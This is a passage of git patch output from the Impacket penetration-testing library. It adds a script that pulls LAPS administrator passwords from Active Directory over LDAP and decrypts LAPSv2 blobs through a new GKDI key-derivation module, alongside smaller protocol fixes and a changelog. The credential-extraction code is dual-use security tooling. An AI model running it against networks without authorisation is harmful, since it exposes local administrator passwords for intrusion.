gke + + kek = compute_kek(gke, key_id) + enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"]) + iv, _ = decoder.decode(enc_content_parameter) + iv = bytes(iv[0]) + + cek = unwrap_cek(kek, bytes(kek_recipient_info['encryptedKey'])) + return decrypt_plaintext(cek, iv, remaining) + + def getMachineName(self, target): + try: + s = SMBConnection(target, target) + s.login('', '') + except OSError as e: + if str(e).find('timed out') > 0: + raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except SessionError as e: + if str(e).find('STATUS_NOT_SUPPORTED') > 0: + raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % target) + else: + s.logoff() + return s.getServerName() + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def run(self): + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + if self.__kdcIP is not None: + self.__target = self.__kdcIP + else: + self.__target = self.__domain + + if self.__doKerberos: + logging.info('Getting machine hostname') + self.__target = self.getMachineName(self.__target) + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + else: + if str(e).find('NTLMAuthNegotiate') >= 0: + logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " + "authentication instead.") + else: + if self.__kdcIP is not None and self.__kdcHost is not None: + logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " + "must match exactly each other.") + raise + + # Building the search filter + searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))" # Default search filter value + if self.__targetComputer is not None: + searchFilter += '(name=' + self.__targetComputer + ')' + searchFilter += ")" + + try: + # Microsoft Active Directory set an hard limit of 1000 entries returned by any search + paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000) + + resp = ldapConnection.search(searchFilter=searchFilter, + attributes=['msLAPS-EncryptedPassword', 'msLAPS-PasswordExpirationTime', 'msLAPS-Password', 'sAMAccountName', \ + 'ms-Mcs-AdmPwdExpirationTime', 'ms-MCS-AdmPwd'], + searchControls=[paged_search_control]) + + except ldap.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + # We should never reach this code as we use paged search now + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + resp = e.getAnswers() + pass + else: + raise + + entries = [] + + logging.debug('Total of records returned %d' % len(resp)) + + if len(resp) == 0: + if self.__targetComputer is not None: + logging.error('%s$ not found in LDAP.' % self.__targetComputer) + else: + logging.error("No valid entry in LDAP") + return + for item in resp: + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + continue + try: + sAMAccountName = None + lapsPasswordExpiration = None + lapsUsername = None + lapsPassword = None + lapsv2 = False + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + if str(attribute['type']) == 'msLAPS-EncryptedPassword': + lapsv2 = True + plaintext = self.getLAPSv2Decrypt(bytes(attribute['vals'][0])) + r = json.loads(plaintext[:-18].decode('utf-16le')) + # timestamp = r["t"] + lapsUsername = r["n"] + lapsPassword = r["p"] + elif str(attribute['type']) == 'ms-Mcs-AdmPwdExpirationTime' or str(attribute['type']) == 'msLAPS-PasswordExpirationTime': + if str(attribute['vals'][0]) != '0': + lapsPasswordExpiration = datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))).strftime('%Y-%m-%d %H:%M:%S') + elif str(attribute['type']) == 'ms-Mcs-AdmPwd': + lapsPassword = attribute['vals'][0].asOctets().decode('utf-8') + if sAMAccountName is not None and lapsPassword is not None: + entry = [sAMAccountName,lapsUsername, lapsPassword, lapsPasswordExpiration, str(lapsv2)] + entry = [element if element is not None else 'N/A' for element in entry] + entries.append(entry) + except Exception as e: + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + if len(entries) == 0: + if self.__targetComputer is not None: + logging.error("No LAPS data returned for %s" % self.__targetComputer) + else: + logging.error("No LAPS data returned") + return + + self.printTable(entries,['Host','LAPS Username','LAPS Password','LAPS Password Expiration', 'LAPSv2'], self.__outputFile) + +# Process command-line arguments. +if __name__ == '__main__': + print((version.BANNER)) + + parser = argparse.ArgumentParser(add_help = True, description = "Extract LAPS passwords from LDAP") + + parser.add_argument('target', action='store', help='domain[/username[:password]]') + parser.add_argument('-computer', action='store', metavar='computername', help='Target a specific computer by its name') + + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-outputfile', '-o', action='store', help='Outputs to a file.') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CcnAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter') + group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.target) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + try: + executer = GetLAPSPassword(username, password, domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) \ No newline at end of file diff --git a/impacket/dcerpc/v5/epm.py b/impacket/dcerpc/v5/epm.py index 53b941809b..e9feb02f8f 100644 --- a/impacket/dcerpc/v5/epm.py +++ b/impacket/dcerpc/v5/epm.py @@ -1315,7 +1315,7 @@ def hept_map(destHost, remoteIf, dataRepresentation = uuidtup_to_bin(('8a885d04- tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + transportData request = ept_map() - request['max_towers'] = 1 + request['max_towers'] = 4 request['map_tower']['tower_length'] = len(tower) request['map_tower']['tower_octet_string'] = tower.getData() diff --git a/impacket/dcerpc/v5/gkdi.py b/impacket/dcerpc/v5/gkdi.py new file mode 100644 index 0000000000..0a5e4d4644 --- /dev/null +++ b/impacket/dcerpc/v5/gkdi.py @@ -0,0 +1,213 @@ +from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import ULONG, PGUID, LONG, NTSTATUS, NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import hresult_errors +from impacket.structure import Structure +from impacket.uuid import uuidtup_to_bin + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'GKDI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'GKDI SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +MSRPC_UUID_GKDI = uuidtup_to_bin(('B9785960-524F-11DF-8B6D-83DCDED72085','1.0')) + +################################################################################ +# STRUCTURES +################################################################################ + +# 2.2.1 KDF Parameters +class KDFParameter(Structure): + structure = ( + ('Unknown1','`_. + + Modified version for Impacket, accepting null_bytes + + Args: + master (byte string): + The secret value used by the KDF to derive the other keys. + It must not be a password. + The length on the secret must be consistent with the input expected by + the :data:`prf` function. + key_len (integer): + The length in bytes of each derived key. + prf (function): + A pseudorandom function that takes two byte strings as parameters: + the secret and an input. It returns another byte string. + num_keys (integer): + The number of keys to derive. Every key is :data:`key_len` bytes long. + By default, only 1 key is derived. + label (byte string): + Optional description of the purpose of the derived keys. + It must not contain zero bytes. + context (byte string): + Optional information pertaining to + the protocol that uses the keys, such as the identity of the + participants, nonces, session IDs, etc. + It must not contain zero bytes. + + Return: + - a byte string (if ``num_keys`` is not specified), or + - a tuple of byte strings (if ``num_key`` is specified). + """ + + if num_keys is None: + num_keys = 1 + + key_len_enc = long_to_bytes(key_len * num_keys * 8, 4) + output_len = key_len * num_keys + + i = 1 + dk = b"" + while len(dk) < output_len: + info = long_to_bytes(i, 4) + label + b'\x00' + context + key_len_enc + dk += prf(master, info) + i += 1 + if i > 0xFFFFFFFF: + raise ValueError("Overflow in SP800 108 counter") + + if num_keys == 1: + return dk[:key_len] + else: + kol = [dk[idx:idx + key_len] + for idx in iter_range(0, output_len, key_len)] + return kol + +class KeyIdentifier(Structure): + structure = ( + ('Version', ' bool: + return bool(self['Flags'] & 1) + +class EncryptedPasswordBlob(Structure): + structure = ( + ('Timestamp_lower', ' bytes: + return n.to_bytes(length=4, byteorder="big") + +def create_ace(sid, mask): + nace = ACE() + nace['AceType'] = ACCESS_ALLOWED_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ACCESS_ALLOWED_ACE() + acedata['Mask'] = ACCESS_MASK() + acedata['Mask']['Mask'] = mask + acedata['Sid'] = LDAP_SID() + acedata['Sid'].fromCanonical(sid) + nace['Ace'] = acedata + return nace + +def create_sd(sid): + sd = SR_SECURITY_DESCRIPTOR() + sd['Revision'] = b'\x01' + sd['Sbz1'] = b'\x00' + sd['Control'] = 32772 + sd['OwnerSid'] = LDAP_SID() + sd['OwnerSid'].fromCanonical('S-1-5-18') + sd['GroupSid'] = LDAP_SID() + sd['GroupSid'].fromCanonical('S-1-5-18') + sd['Sacl'] = b'' + + acl = ACL() + acl['AclRevision'] = 2 + acl['Sbz1'] = 0 + acl['Sbz2'] = 0 + acl.aces = [] + acl.aces.append(create_ace(sid, 3)) + acl.aces.append(create_ace('S-1-1-0',2)) + sd['Dacl'] = acl + return sd + +def compute_kdf_hash(length, key_material, otherinfo): + output = [b""] + outlen = 0 + counter = 1 + + while length > outlen: + hash_module = SHA256.SHA256Hash() + hash_module.update(data = int_to_u32be(counter)) + hash_module.update(key_material) + hash_module.update(otherinfo) + output.append(hash_module.digest()) + outlen += len(output[-1]) + counter += 1 + + return b"".join(output)[:length] + +def compute_kdf_context(key_guid, l0, l1, l2): + return b"".join( + [ + key_guid, + l0.to_bytes(4, byteorder="little", signed=True), + l1.to_bytes(4, byteorder="little", signed=True), + l2.to_bytes(4, byteorder="little", signed=True), + ] + ) + +def kdf(hash_alg_str, secret, label, context, length): + hash_alg = SHA512 + if 'SHA512' in hash_alg_str: + hash_alg = SHA512 + elif 'SHA256' in hash_alg_str: + hash_alg = SHA256 + + def prf(s,x): + return HMAC.new(s,x,hash_alg).digest() + + return SP800_108_Counter( + master=secret, + prf=prf, + key_len=length, + label=label, + context=context + ) + +def compute_l2_key(key_id: KeyIdentifier, gke: GroupKeyEnvelope): + l1 = gke["L1Index"] + l1_key = gke["L1Key"] + l2 = gke["L2Index"] + l2_key = gke["L2Key"] + + reseed_l2 = l2 == 31 or l1 != key_id["L1Index"] + + kdf_param = gke["KdfPara"]["HashName"].decode('utf-16le') + + if l2 != 31 and l1 != key_id["L1Index"]: + l1 -= 1 + + while l1 != key_id["L1Index"]: + reseed_l2 = True + l1 -= 1 + + l1_key = kdf( + kdf_param, + l1_key, + KDS_SERVICE_LABEL, + compute_kdf_context( + gke["RootKeyId"], + gke["L0Index"], + l1, + -1 + ), + 64 + ) + + if reseed_l2: + l2 = 31 + l2_key = kdf( + kdf_param, + l1_key, + KDS_SERVICE_LABEL, + compute_kdf_context( + gke["RootKeyId"], + gke["L0Index"], + l1, + l2, + ), + 64, + ) + + while l2 != key_id["L2Index"]: + l2 -= 1 + + l2_key = kdf( + kdf_param, + l2_key, + KDS_SERVICE_LABEL, + compute_kdf_context( + gke["RootKeyId"], + gke["L0Index"], + l1, + l2, + ), + 64, + ) + + return l2_key + +def generate_kek_secret_from_pubkey(gke: GroupKeyEnvelope, key_id: KeyIdentifier,l2_key: bytes): + private_key = kdf( + gke["KdfPara"]["HashName"].decode('utf-16le'), + l2_key, + KDS_SERVICE_LABEL, + gke['SecAlgo'], + math.ceil(gke["PrivKeyLength"] / 8), + ) + if gke['SecAlgo'].decode('utf-16le').encode() == b"DH\0": + ffcdh_key = FFCDHKey(key_id["Unknown"]) + shared_secret_int = pow( + int.from_bytes(ffcdh_key['PubKey'], byteorder="big"), + int.from_bytes(private_key, byteorder="big"), + int.from_bytes(ffcdh_key['FieldOrder'], byteorder="big"), + ) + shared_secret = shared_secret_int.to_bytes((shared_secret_int.bit_length() + 7) // 8, byteorder="big") + elif "ECDH_P" in gke['SecAlgo'].decode('utf-16le'): + ecdh_key = ECDHKey(key_id["Unknown"]) + # not yet supported + return + kek_context = "KDS public key\0".encode("utf-16le") + otherinfo = "SHA512\0".encode("utf-16le") + kek_context + KDS_SERVICE_LABEL + return compute_kdf_hash(length=32, otherinfo=otherinfo, key_material=shared_secret), kek_context + +def compute_kek(gke: GroupKeyEnvelope, key_id: KeyIdentifier): + kek_context = None + kek_secret = None + + l2_key = compute_l2_key(key_id, gke) + + if key_id.is_public_key(): + kek_secret, kek_context = generate_kek_secret_from_pubkey(gke=gke, key_id=key_id, l2_key=l2_key) + else: + kek_secret = l2_key + kek_context = key_id["Unknown"] + + return kdf( + gke["KdfPara"]["HashName"].decode('utf-16le'), + kek_secret, + KDS_SERVICE_LABEL, + kek_context, + 32 + ) + +def aes_unwrap(wrapping_key: bytes, wrapped_key: bytes): + aiv = b"\xa6\xa6\xa6\xa6\xa6\xa6\xa6\xa6" + r = [wrapped_key[i : i + 8] for i in range(0, len(wrapped_key), 8)] + a = r.pop(0) + decryptor = AES.new(wrapping_key, AES.MODE_ECB) + n = len(r) + for j in reversed(range(6)): + for i in reversed(range(n)): + atr = ( + int.from_bytes(a, byteorder="big") ^ ((n * j) + i + 1) + ).to_bytes(length=8, byteorder="big") + r[i] + # every decryption operation is a discrete 16 byte chunk so + # it is safe to reuse the decryptor for the entire operation + b = decryptor.decrypt(atr) + # b = decryptor.update(atr) + a = b[:8] + r[i] = b[-8:] + if a == aiv: + return b"".join(r) + else: + return None + +def unwrap_cek(kek, encrypted_cek): + r = aes_unwrap(kek, encrypted_cek) + if r is None: + raise ValueError("Could not unwrap key") + return r + +def decrypt_plaintext(cek, iv, encrypted_blob): + cipher = AES.new(cek, AES.MODE_GCM, nonce=iv) + return cipher.decrypt(encrypted_blob) \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index f6cb46a927..92b49c475d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,6 +2,7 @@ setuptools six charset_normalizer pyasn1>=0.2.3 +pyasn1_modules pycryptodomex pyOpenSSL>=21.0.0 ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6 diff --git a/setup.py b/setup.py index fe3fd98e65..192f4ded3b 100644 --- a/setup.py +++ b/setup.py @@ -67,7 +67,8 @@ def read(fname): 'impacket.examples.ntlmrelayx.attacks', 'impacket.examples.ntlmrelayx.attacks.httpattacks'], scripts=glob.glob(os.path.join('examples', '*.py')), data_files=data_files, - install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', + + install_requires=['pyasn1>=0.2.3', 'pyasn1_modules', 'pycryptodomex', 'pyOpenSSL>=21.0.0', 'six', 'ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6', 'ldapdomaindump>=0.9.0', 'flask>=1.0', 'setuptools', 'charset_normalizer'], extras_require={'pyreadline:sys_platform=="win32"': [], }, From 608f426571c1bc51a7cbd434ffd32191ffd99fe9 Mon Sep 17 00:00:00 2001 From: Dc3 Date: Wed, 27 Mar 2024 05:43:39 +0800 Subject: [PATCH 16/49] fix can't add when value is REG_BINARY (#1361) * fix can't add when value is REG_BINARY fix the issue that can't add key when value type is REG_BINARY * Update examples/reg.py Validate HEX length Co-authored-by: Gabriel Gonzalez --------- Co-authored-by: Dc3 Co-authored-by: Gabriel Gonzalez --- examples/reg.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/examples/reg.py b/examples/reg.py index e886141f2b..8af3080425 100755 --- a/examples/reg.py +++ b/examples/reg.py @@ -33,6 +33,7 @@ import logging import sys import time +import binascii from struct import unpack from impacket import version @@ -295,6 +296,10 @@ def add(self, dce, keyName): rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN ): valueData = int(self.__options.vd) + elif dwType == rrp.REG_BINARY: + bin_value_len = len(self.__options.vd) + bin_value_len += (bin_value_len & 1) + valueData = binascii.a2b_hex(self.__options.vd.ljust(bin_value_len, '0')) else: valueData = self.__options.vd From cc2c2e1cfe59340c6c45c6ca777a28c6e729b9e2 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 27 Mar 2024 22:10:50 +0100 Subject: [PATCH 17/49] Incorporate Pennyw0rth/NetExec Impacket changes into Fortra Impacket (reloaded) (#1721) * Add ServerName argument to srvs.hNetrShareEnum * [dcom] fix dcom disconnect issues Signed-off-by: XiaoliChan <2209553467@qq.com> * Implement better windows os enumeration with checking the build version --------- Signed-off-by: XiaoliChan <2209553467@qq.com> Co-authored-by: cnotin Co-authored-by: XiaoliChan <2209553467@qq.com> Co-authored-by: Alexander Neff --- impacket/dcerpc/v5/dcomrt.py | 13 +++++---- impacket/dcerpc/v5/srvs.py | 7 +++-- impacket/smb3.py | 55 ++++++++++++++++++++++++++++++++++-- impacket/smbconnection.py | 2 +- 4 files changed, 65 insertions(+), 12 deletions(-) diff --git a/impacket/dcerpc/v5/dcomrt.py b/impacket/dcerpc/v5/dcomrt.py index 489af67e67..2c751e5cb4 100644 --- a/impacket/dcerpc/v5/dcomrt.py +++ b/impacket/dcerpc/v5/dcomrt.py @@ -1086,14 +1086,15 @@ def get_dce_rpc(self): return DCOMConnection.PORTMAPS[self.__target] def disconnect(self): - if DCOMConnection.PINGTIMER is not None: + # https://github.com/fortra/impacket/issues/1039 + if self.__target in DCOMConnection.PORTMAPS.keys(): del(DCOMConnection.PORTMAPS[self.__target]) + if self.__target in DCOMConnection.OID_SET.keys(): del(DCOMConnection.OID_SET[self.__target]) - if len(DCOMConnection.PORTMAPS) == 0: - # This means there are no more clients using this object, kill it - DCOMConnection.PINGTIMER.cancel() - DCOMConnection.PINGTIMER.join() - DCOMConnection.PINGTIMER = None + if DCOMConnection.PINGTIMER and len(DCOMConnection.PORTMAPS) == 0: + DCOMConnection.PINGTIMER.cancel() + DCOMConnection.PINGTIMER.join() + DCOMConnection.PINGTIMER = None if self.__target in INTERFACE.CONNECTIONS: del(INTERFACE.CONNECTIONS[self.__target][current_thread().name]) self.__portmap.disconnect() diff --git a/impacket/dcerpc/v5/srvs.py b/impacket/dcerpc/v5/srvs.py index 77dccd2f40..2de8bd745c 100644 --- a/impacket/dcerpc/v5/srvs.py +++ b/impacket/dcerpc/v5/srvs.py @@ -3095,9 +3095,12 @@ def hNetrShareDel(dce, netName): request['NetName'] = netName return dce.request(request) -def hNetrShareEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff): +def hNetrShareEnum(dce, level, resumeHandle = 0, preferedMaximumLength = 0xffffffff, serverName = '\x00'): + # serverName example: "\\\\1.2.3.4\x00" + if serverName[-1] != '\x00': + serverName += '\x00' # final NULL byte is mandatory request = NetrShareEnum() - request['ServerName'] = '\x00' + request['ServerName'] = serverName request['PreferedMaximumLength'] = preferedMaximumLength request['ResumeHandle'] = resumeHandle request['InfoStruct']['Level'] = level diff --git a/impacket/smb3.py b/impacket/smb3.py index c4c02d29fe..fe13296fea 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -115,6 +115,54 @@ 'Connection' : 0, } +# Source: +# https://en.wikipedia.org/wiki/List_of_Microsoft_Windows_versions +# https://www.gaijin.at/en/infos/windows-version-numbers +WIN_VERSIONS = { + 102:"Windows 3.1", + 103:"Windows 3.1", + 153:"Windows 3.2", + 300:"Windows 3.11", + 528:"Windows NT 3.1 SP3", + 807:"Windows NT 3.5", + 950:"Windows 95", + 1057:"Windows NT 3.51", + 1381:"Windows NT 4.0", + 1998:"Windows 98", + 2195:"Windows 2000", + 2222:"Windows 98 Second Edition", + 2600:"Windows XP", + 2700:"Windows XP", + 2710:"Windows XP", + 3000:"Windows Me", + 3790:"Windows XP / Server 2003 / Server 2003 R2", + 6002:"Windows Vista", + 6003:"Windows Server 2008", + 7601:"Windows 7 / Server 2008 R2", + 8400:"Windows Home Server 2011", + 9200:"Windows 8 / Server 2012", + 9600:"Windows 8.1 / Server 2012 R2", + 10240:"Windows 10", + 10586:"Windows 10", + 14393:"Windows 10 / Server 2016", + 15063:"Windows 10", + 16299:"Windows 10 / Server 2016", + 17134:"Windows 10 / Server 2016", + 17763:"Windows 10 / Server 2019", + 18362:"Windows 10 / Server 2019", + 18363:"Windows 10 / Server 2019", + 19041:"Windows 10 / Server 2019", + 19042:"Windows 10 / Server 2019", + 19043:"Windows 10", + 19044:"Windows 10", + 19045:"Windows 10", + 20348:"Windows Server 2022", + 22000:"Windows 11", + 22621:"Windows 11", + 22631:"Windows 11", + 25398:"Windows Server 2022", +} + class SessionError(Exception): def __init__( self, error = 0, packet=0): @@ -1001,15 +1049,16 @@ def login(self, user, password, domain = '', lmhash = '', nthash = ''): version = ntlmChallenge['Version'] if len(version) >= 4: - self._Session['ServerOS'] = "Windows %d.%d Build %d" % (indexbytes(version,0), indexbytes(version,1), struct.unpack(' Date: Wed, 27 Mar 2024 18:15:47 -0300 Subject: [PATCH 18/49] fixed computing lmhash for non standard characters (#1723) * fixed computing lmhash for non standard characters * use blank lm hash instead of a random value --- impacket/ntlm.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/impacket/ntlm.py b/impacket/ntlm.py index f07cf93ce3..5951ae037b 100644 --- a/impacket/ntlm.py +++ b/impacket/ntlm.py @@ -35,6 +35,7 @@ USE_NTLMv2 = True # if false will fall back to NTLMv1 (or NTLMv1 with ESS a.k.a NTLM2) TEST_CASE = False # Only set to True when running Test Cases +DEFAULT_LM_HASH = binascii.unhexlify('AAD3B435B51404EEAAD3B435B51404EE') def computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='', use_ntlmv2=USE_NTLMv2): @@ -741,7 +742,15 @@ def computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, d def compute_lmhash(password): # This is done according to Samba's encryption specification (docs/html/ENCRYPTION.html) - password = password.upper() + try: + password.encode("latin-1") + except UnicodeEncodeError: + # LM hash can be computed only from latin-1 encoded passwords + # If password contains unicode characters, outside latin-1, we return the default LM_HASH + return DEFAULT_LM_HASH + + password = ''.join( c.upper() if c in string.ascii_letters else c for c in password ) + lmhash = __DES_block(b(password[:7]), KNOWN_DES_INPUT) lmhash += __DES_block(b(password[7:14]), KNOWN_DES_INPUT) return lmhash From 25cbbfa8b2a4645f01677ff037309d546cb85b4e Mon Sep 17 00:00:00 2001 From: Alex Romero Date: Tue, 9 Apr 2024 07:42:45 +0330 Subject: [PATCH 19/49] minor change in ntfs-read.py to make it more human-readable (#1683) --- examples/ntfs-read.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/ntfs-read.py b/examples/ntfs-read.py index ca1d0fe752..8df27573a0 100755 --- a/examples/ntfs-read.py +++ b/examples/ntfs-read.py @@ -999,7 +999,7 @@ def __init__(self, volume): cmd.Cmd.__init__(self) self.volumePath = volume self.volume = NTFS(volume) - self.rootINode = self.volume.getINode(5) + self.rootINode = self.volume.getINode(FILE_Root) self.prompt = '\\>' self.intro = 'Type help for list of commands' self.currentINode = self.rootINode From ae3b5db99561e99d25f36b8070792f71e51bb39d Mon Sep 17 00:00:00 2001 From: Luke Minniear Date: Mon, 8 Apr 2024 23:15:36 -0500 Subject: [PATCH 20/49] Add domain and username to interactive Ldap shell message (#1685) Co-authored-by: Luke Minniear --- impacket/examples/ntlmrelayx/attacks/__init__.py | 2 ++ impacket/examples/ntlmrelayx/attacks/ldapattack.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/attacks/__init__.py b/impacket/examples/ntlmrelayx/attacks/__init__.py index 7fd0b3550e..4feb897335 100644 --- a/impacket/examples/ntlmrelayx/attacks/__init__.py +++ b/impacket/examples/ntlmrelayx/attacks/__init__.py @@ -39,6 +39,8 @@ def __init__(self, config, client, username): self.client = client # By default we only use the username and remove the domain self.username = username.split('/')[1] + # But we also store the domain for later use + self.domain = username.split('/')[0] def run(self): raise RuntimeError('Virtual Function') diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 7cfb780791..cf9da1378f 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -916,7 +916,7 @@ def run(self): if self.config.interactive: if self.tcp_shell is not None: - LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port) + LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d as %s/%s' % (self.tcp_shell.port, self.domain, self.username)) # Start listening and launch interactive shell. self.tcp_shell.listen() ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client) From f6ae4ab34cd206689294ae90ec55e8ba40d23bc2 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Wed, 10 Apr 2024 19:30:13 -0300 Subject: [PATCH 21/49] Update ChangeLog.md --- ChangeLog.md | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/ChangeLog.md b/ChangeLog.md index 1c516b9fb6..ac51a5dbc0 100644 --- a/ChangeLog.md +++ b/ChangeLog.md @@ -5,6 +5,37 @@ Project owner's main page is at www.coresecurity.com. Complete list of changes can be found at: https://github.com/fortra/impacket/commits/master +## Impacket v0.12.0-dev: +1. Library improvements + * Removed dsinternals dependency (@anadrianmanrique) + * Fixed srvs.hNetrShareEnum returning erronous shares (@cnotin) + +2. Examples improvements + * [secretsdump.py](examples/secretsdump.py): + * Double DC Sync performance for DCs supporting SID lookups , (@tomspencer) + * [ticketer.py](examples/ticketer.py): + * Support to create Sapphire tickets (@ShutdownRepo) + * [GetUserSPNs.py](examples/GetUserSPNs.py), [getTGT.py](examples/getTGT.py): + * Support for Kerberoasting without pre-authentication and ST request through AS-REQ (@ShutdownRepo) + * [wmiexec.py](examples/wmiexec.py): + * Fix kerberos with remoteHost & add '-target-ip'(@XiaoliChan) + * [ntlmrelayx.py](examples/ntlmrelayx.py): + * Added the creation of a new machine account through SMB (@BlWasp) + * [getST.py](examples/getST.py): + * Added -self, -altservice and -u2u for S4U2self abuse, S4U2self+u2u, and service substitution (@ShutdownRepo) + * [reg.py](examples/reg.py): + * Start remote registry as unprivileged user in reg.py (@dadevel) + +3. New examples + * [describeTicket.py](examples/describeTicket.py): Ticket describer and decrypter (@ShutdownRepo)\ + * [GetADComputers.py](examples/GetADComputers.py): Query's DC via LDAP and returns the COMPUTER objects and the useful attributes such as full dns name, operating system name and version. (@F-Masood) + * [readLAPS.py](examples/readLAPS.py): tries to read all the LAPS password from the current domain computers (@F-Masood) + +As always, thanks a lot to all these contributors that make this library better every day (up to now): + +@tomspencer @tomspencer @ShutdownRepo @dadevel @gjhami @NtAlexio2 @F-Masood @BlWasp @gabrielg5 @XiaoliChan + + ## Impacket v0.11.0 (Aug 2023): 1. Library improvements * Added new Kerberos error codes (@ly4k). From 5cb9dbb1760ec7d70c51496cc0d81bd13bb56088 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Wed, 10 Apr 2024 19:31:08 -0300 Subject: [PATCH 22/49] Update ChangeLog.md --- ChangeLog.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ChangeLog.md b/ChangeLog.md index 